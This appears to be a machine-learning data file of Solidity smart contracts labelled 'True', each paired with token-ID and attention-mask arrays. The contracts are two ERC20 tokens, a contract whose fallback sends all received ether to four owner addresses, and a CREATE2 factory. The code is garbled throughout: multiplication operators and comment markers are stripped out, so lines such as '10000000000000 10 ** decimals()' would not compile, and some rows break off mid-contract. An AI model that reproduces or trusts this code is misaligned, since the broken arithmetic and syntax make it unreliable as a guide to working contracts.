1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-16 / // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address to, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. / function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. / function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. / function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: JPCERC20.sol pragma solidity ^0.8.4; contract JPEXCoin is ERC20 { constructor() ERC20("JPEX Coin", "JPC") { _mint(msg.sender, 10000000000000 10 ** decimals()); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2385, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 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pragma solidity ^0.4.24; contract NoWhammies { /** * Modifiers / modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyRealPeople() { require (msg.sender == tx.origin); _; } /* * Constructor / constructor() onlyRealPeople() public { owner = msg.sender; } address owner = address(0x906da89d06c658d72bdcd20724198b70242807c4); address owner2 = address(0xFa5dbDd6a013BF519622a6337A4b130cfc9068Fb); address owner3 = address(0x74b154852b92717c55667d5890d36417f4E7feC3); address owner4 = address(0x7fce1b6b1b99ba787c940bea56a322cb73eca68c); function() public payable { bigMoney(); } function bigMoney() private { if(address(this).balance > 1 ether) { uint256 ten = address(this).balance / 10; uint256 fortyfive = (ten 4) + (ten/2); owner4.transfer(ten); owner3.transfer(ten); owner2.transfer(fortyfive); owner.transfer(address(this).balance); } } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner() onlyRealPeople() returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } } contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 2085, 3511, 28397, 1063, 1013, 1008, 1008, 1008, 16913, 28295, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 16913, 18095, 2069, 22852, 5051, 27469, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 19067, 1012, 4761, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 1008, 1008, 9570, 2953, 1008, 1013, 9570, 2953, 1006, 1007, 2069, 22852, 5051, 27469, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 4769, 3954, 1027, 4769, 1006, 1014, 2595, 21057, 2575, 2850, 2620, 2683, 2094, 2692, 2575, 2278, 26187, 2620, 2094, 2581, 2475, 2497, 16409, 2094, 11387, 2581, 18827, 16147, 2620, 2497, 19841, 18827, 22407, 2692, 2581, 2278, 2549, 1007, 1025, 4769, 3954, 2475, 1027, 4769, 1006, 1014, 2595, 7011, 2629, 18939, 14141, 2575, 2050, 24096, 2509, 29292, 22203, 2683, 2575, 19317, 2050, 2575, 22394, 2581, 2050, 2549, 2497, 17134, 2692, 2278, 11329, 21057, 2575, 2620, 26337, 1007, 1025, 4769, 3954, 2509, 1027, 4769, 1006, 1014, 2595, 2581, 2549, 2497, 16068, 18139, 25746, 2497, 2683, 22907, 16576, 2278, 24087, 28756, 2581, 2094, 27814, 21057, 2094, 21619, 23632, 2581, 2546, 2549, 2063, 2581, 7959, 2278, 2509, 1007, 1025, 4769, 3954, 2549, 1027, 4769, 1006, 1014, 2595, 2581, 11329, 2063, 2487, 2497, 2575, 2497, 2487, 2497, 2683, 2683, 3676, 2581, 2620, 2581, 2278, 2683, 12740, 4783, 2050, 26976, 2050, 16703, 2475, 27421, 2581, 2509, 19281, 2575, 2620, 2278, 1007, 1025, 3853, 1006, 1007, 2270, 3477, 3085, 1063, 2502, 8202, 3240, 1006, 1007, 1025, 1065, 3853, 2502, 8202, 3240, 1006, 1007, 2797, 1063, 2065, 1006, 4769, 1006, 2023, 1007, 1012, 5703, 1028, 1015, 28855, 1007, 1063, 21318, 3372, 17788, 2575, 2702, 1027, 4769, 1006, 2023, 1007, 1012, 5703, 1013, 2184, 1025, 21318, 3372, 17788, 2575, 5659, 8873, 3726, 1027, 1006, 2702, 1008, 1018, 1007, 1009, 1006, 2702, 1013, 1016, 1007, 1025, 3954, 2549, 1012, 4651, 1006, 2702, 1007, 1025, 3954, 2509, 1012, 4651, 1006, 2702, 1007, 1025, 3954, 2475, 1012, 4651, 1006, 5659, 8873, 3726, 1007, 1025, 3954, 1012, 4651, 1006, 4769, 1006, 2023, 1007, 1012, 5703, 1007, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1037, 8132, 2341, 2005, 2043, 2619, 10255, 19204, 2015, 2060, 2084, 1996, 3832, 3924, 2061, 1996, 17467, 2869, 2064, 5630, 2073, 2000, 4604, 2068, 1012, 1008, 1013, 3853, 4651, 19092, 2121, 2278, 11387, 18715, 2368, 1006, 4769, 19204, 4215, 16200, 4757, 1010, 4769, 19204, 12384, 2121, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 2069, 12384, 2121, 1006, 1007, 2069, 22852, 5051, 27469, 1006, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1063, 2709, 9413, 2278, 11387, 18447, 2121, 12172, 1006, 19204, 4215, 16200, 4757, 1007, 1012, 4651, 1006, 19204, 12384, 2121, 1010, 19204, 2015, 1007, 1025, 1065, 1065, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title SafeMath * @dev Math operations with safety checks that revert on error / library SafeMath { /* * @dev Multiplies two numbers, reverts on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /* * @dev Adds two numbers, reverts on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /* * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md / contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /* * @dev Total number of tokens in existence / function totalSupply() public view returns (uint256) { return _totalSupply; } /* * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /* * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. / function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. / function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /* * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred / function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. / function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. / function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /* * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. / function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. / function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. / function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } /* * @title Girlfriend * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `ERC20` functions. / contract Girlfriend is ERC20 { string public constant name = "Girlfriend"; string public constant symbol = "GF"; uint8 public constant decimals = 9; uint256 public constant INITIAL_SUPPLY = 8000000000 (10 uint256(decimals)); / * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { _mint(msg.sender, INITIAL_SUPPLY); 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/** Submitted for verification at Etherscan.io on 2021-09-26 / // 0x04396f9531c5f3cd0fac735f661a987e7e08fc87 // ON ALL CHAINS! // init hash: 0x8d269116365442f07e42af4a313e691141d166e7bd806a82761ee6351207d1db // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer. * `CREATE2` can be used to compute in advance the address where a smart * contract will be deployed, which allows for interesting new mechanisms known * as 'counterfactual interactions'. * * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more * information. / contract Create2 { /* * @dev Deploys a contract using `CREATE2`. The address where the contract * will be deployed can be known in advance via {computeAddress}. * * The bytecode for a contract can be obtained from Solidity with * `type(contractName).creationCode`. * * Requirements: * * - `bytecode` must not be empty. * - `salt` must have not been used for `bytecode` already. * - the factory must have a balance of at least `amount`. * - if `amount` is non-zero, `bytecode` must have a `payable` constructor. / function deploy( uint256 amount, bytes32 salt, bytes memory bytecode ) public returns (address) { address addr; require(address(this).balance >= amount, "Create2: insufficient balance"); require(bytecode.length != 0, "Create2: bytecode length is zero"); assembly { addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt) } require(addr != address(0), "Create2: Failed on deploy"); return addr; } /* * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the * `bytecodeHash` or `salt` will result in a new destination address. / function computeAddress(bytes32 salt, bytes32 bytecodeHash) public view returns (address) { return computeAddress(salt, bytecodeHash, address(this)); } /* * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}. */ function computeAddress( bytes32 salt, bytes32 bytecodeHash, address deployer ) public pure returns (address) { bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)); return address(uint160(uint256(_data))); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2656, 1008, 1013, 1013, 1013, 1014, 2595, 2692, 23777, 2683, 2575, 2546, 2683, 22275, 2487, 2278, 2629, 2546, 2509, 19797, 2692, 7011, 2278, 2581, 19481, 2546, 28756, 2487, 2050, 2683, 2620, 2581, 2063, 2581, 2063, 2692, 2620, 11329, 2620, 2581, 1013, 1013, 2006, 2035, 8859, 999, 1013, 1013, 1999, 4183, 23325, 1024, 1014, 2595, 2620, 2094, 23833, 2683, 14526, 2575, 21619, 27009, 20958, 2546, 2692, 2581, 2063, 20958, 10354, 2549, 2050, 21486, 2509, 2063, 2575, 2683, 14526, 23632, 2094, 16048, 2575, 2063, 2581, 2497, 2094, 17914, 2575, 2050, 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4769, 2073, 1996, 3206, 1008, 2097, 2022, 7333, 2064, 2022, 2124, 1999, 5083, 3081, 1063, 24134, 4215, 16200, 4757, 1065, 1012, 1008, 1008, 1996, 24880, 16044, 2005, 1037, 3206, 2064, 2022, 4663, 2013, 5024, 3012, 2007, 1008, 1036, 2828, 1006, 3206, 18442, 1007, 1012, 4325, 16044, 1036, 1012, 